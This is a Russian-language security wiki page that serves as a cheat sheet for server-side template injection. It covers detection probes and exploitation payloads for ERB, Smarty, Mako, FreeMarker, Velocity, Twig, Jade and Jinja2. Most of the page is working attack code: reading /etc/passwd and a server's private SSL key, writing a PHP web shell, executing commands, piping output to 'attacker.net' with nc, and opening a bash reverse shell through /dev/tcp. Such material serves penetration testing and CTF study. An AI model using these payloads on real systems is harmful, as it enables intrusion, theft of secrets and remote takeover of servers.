TemplateInj

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Обнаружение уязвимости

Определение обработчика шаблонов

SSTI Flow Chart.png


Jade

1 = 7*7


Ruby/ERB

1 <%= 7 * 7 %>

Эксплуатация

Ruby/ERB

Название класса

1 <%= self.class.name %>

Методы класса

1 <%= self.methods %>

Параметры метода

1 <%= self.method(:handle_POST).parameters %>

Список переменных

1 <%= self.instance_variables %>
1 <%=@server.instance_variables %>

Приватный ключ

1 <% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>

Обьект сессии

1 <%= session.class.name %>

Чтение файлов

1 <%= File.open('/etc/passwd').read %>


Smarty Engine

Вызов переменной

1 {user.name}


1 ${username}

RCE

1 {php}echo `id`;{/php}


Запись в файл

1 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Mako

Используется в Python.

RCE

1 <%
2 import os
3 x=os.popen('id').read()
4 %>
5 ${x}
1 <% x=__import__('os').popen('id').read() %> ${x}

FreeMarker

Используется в Java

RCE

1 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }


Velocity

Используется в Java и C#

RCE

Blind

1 $class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

Viewed

1 #set($str=$class.inspect("java.lang.String").type)
2 #set($chr=$class.inspect("java.lang.Character").type)
3 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
4 $ex.waitFor()
5 #set($out=$ex.getInputStream())
6 #foreach($i in [1..$out.available()])
7 $str.valueOf($chr.toChars($out.read()))
8 #end


Twig

Используется в PHP

RCE

allow_url_include

С включенным allow_url_include (проверить можно в phpinfo() ).

1 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}


Other
1 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Вызов уязвимого метода

Sandbox
1 {{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}


Jade

RCE

1 - var x = root.process
2 - x = x.mainModule.require
3 - x = x('child_process')
4 = x.exec('id | nc attacker.net 80')

Jinja2

Используется в Flask и Django

Config

1  {{config}}

Все переменные конфига

1 {% for key, value in config.iteritems() %}
2     <dt>{{ key|e }}</dt>
3     <dd>{{ value|e }}</dd>
4 {% endfor %}

Все используемые классы

1 {{ ''.__class__.__mro__[2].__subclasses__() }}


Local File Reading

1 {{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

Запись в файл

1 {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}


Local File Inclusion

1 {{config.from_pyfile('/tmp/mytest1337.py')}}


RCE

Запись в файл + Local File Inclusion == RCE!

1 {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}-{{config.from_pyfile('/tmp/mytest1337.py')}}

Backconnect

1 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
2 {{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
3 {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host

Примеры

Translate - Google CTF 2018

"Golem is stupid!", Web 41pts, ASIS CTF 2017

BsidesSF CTF 2017 web writeups

Hitcon CTF 2016 Writeups

Angstrom CTF 2018 — web challenges

Ссылки

tplmap - утилита для эксплуатации

Список пейлоадов

Вики - полный список template engines

portswigger tutorial

Подробно расписаны пейлоады